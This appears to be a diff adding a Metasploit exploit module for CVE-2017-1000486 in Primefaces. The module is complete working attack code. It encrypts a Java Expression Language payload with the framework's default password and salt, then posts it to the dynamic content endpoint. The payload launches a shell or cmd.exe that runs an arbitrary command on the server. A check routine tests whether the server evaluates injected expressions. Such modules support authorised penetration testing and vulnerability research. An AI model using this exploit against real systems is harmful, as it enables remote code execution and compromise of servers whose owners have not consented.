|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Primefaces Remote Code Execution Exploit', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework. |
| 19 | + Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, |
| 20 | + due to the use of weak crypto and default encryption password and salt. |
| 21 | +
|
| 22 | + Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See |
| 23 | + documentation for working payloads. |
| 24 | + }, |
| 25 | + 'Author' => [ |
| 26 | + 'Bjoern Schuette', # EDB |
| 27 | + 'h00die' # lots of fixes, documentation, standardization |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => [ |
| 31 | + ['CVE', '2017-1000486'], |
| 32 | + ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'], |
| 33 | + ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'], |
| 34 | + ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'], |
| 35 | + ['URL', 'https://github.com/primefaces/primefaces/issues/1152'], |
| 36 | + ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'], |
| 37 | + ['EDB', '43733'] |
| 38 | + ], |
| 39 | + 'Payload' => { |
| 40 | + 'BadChars' => '"\'\\' # all threw errors |
| 41 | + }, |
| 42 | + 'Privileged' => true, |
| 43 | + 'DisclosureDate' => '2016-02-15', |
| 44 | + 'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'], |
| 45 | + 'Arch' => ARCH_CMD, |
| 46 | + 'Targets' => [ |
| 47 | + [ |
| 48 | + 'Universal', {}, |
| 49 | + ], |
| 50 | + ], |
| 51 | + 'DefaultTarget' => 0, |
| 52 | + 'Notes' => { |
| 53 | + 'Stability' => [CRASH_SAFE], |
| 54 | + 'Reliability' => [REPEATABLE_SESSION], |
| 55 | + 'SideEffects' => [] |
| 56 | + } |
| 57 | + ) |
| 58 | + ) |
| 59 | + |
| 60 | + register_options([ |
| 61 | + Opt::RPORT(80), |
| 62 | + OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']), |
| 63 | + OptString.new('TARGETURI', [true, 'The base path to primefaces', '/']) |
| 64 | + ]) |
| 65 | + end |
| 66 | + |
| 67 | + def encrypt_el(password, payload) |
| 68 | + # el == Java Expression Language |
| 69 | + salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*') |
| 70 | + iteration_count = 19 |
| 71 | + |
| 72 | + cipher = OpenSSL::Cipher.new('DES') |
| 73 | + cipher.encrypt |
| 74 | + cipher.pkcs5_keyivgen password, salt, iteration_count |
| 75 | + |
| 76 | + ciphertext = cipher.update payload |
| 77 | + ciphertext << cipher.final |
| 78 | + ciphertext |
| 79 | + end |
| 80 | + |
| 81 | + def http_send_command(payload_wrapper) |
| 82 | + encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper) |
| 83 | + encrypted_payload = Rex::Text.encode_base64(encrypted_payload) |
| 84 | + |
| 85 | + # send the payload and execute command |
| 86 | + res = send_request_cgi({ |
| 87 | + 'method' => 'POST', |
| 88 | + 'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'), |
| 89 | + 'vars_post' => { |
| 90 | + 'pfdrt' => 'sc', |
| 91 | + 'ln' => 'primefaces', |
| 92 | + 'pfdrid' => encrypted_payload |
| 93 | + } |
| 94 | + }) |
| 95 | + |
| 96 | + res |
| 97 | + end |
| 98 | + |
| 99 | + def exploit |
| 100 | + cmd = payload.encoded |
| 101 | + |
| 102 | + # good for testing |
| 103 | + # cmd = "whoami" |
| 104 | + # error logs will show |
| 105 | + # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle |
| 106 | + # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed |
| 107 | + payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}' |
| 108 | + payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}' |
| 109 | + payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' |
| 110 | + payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' |
| 111 | + payload_wrapper << '${session.getAttribute("scriptengine").eval(' |
| 112 | + payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");' |
| 113 | + payload_wrapper << 'var proc = null;' |
| 114 | + payload_wrapper << 'os.toLowerCase().contains(\"win\")? ' |
| 115 | + payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()" |
| 116 | + payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();" |
| 117 | + payload_wrapper << 'var is = proc.getInputStream();' |
| 118 | + payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";' |
| 119 | + payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}' |
| 120 | + payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}' |
| 121 | + payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}' |
| 122 | + |
| 123 | + vprint_status("Attempting to execute: #{cmd}") |
| 124 | + res = http_send_command(payload_wrapper) |
| 125 | + fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500 |
| 126 | + # successful exploitation gives us no response |
| 127 | + end |
| 128 | + |
| 129 | + def check |
| 130 | + marker = rand_text_alpha_lower(5..9) |
| 131 | + # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92 |
| 132 | + # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}' |
| 133 | + payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}" |
| 134 | + |
| 135 | + res = http_send_command(payload_wrapper) |
| 136 | + return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil? |
| 137 | + return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker |
| 138 | + |
| 139 | + Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable') |
| 140 | + end |
| 141 | + |
| 142 | +end |
0 commit comments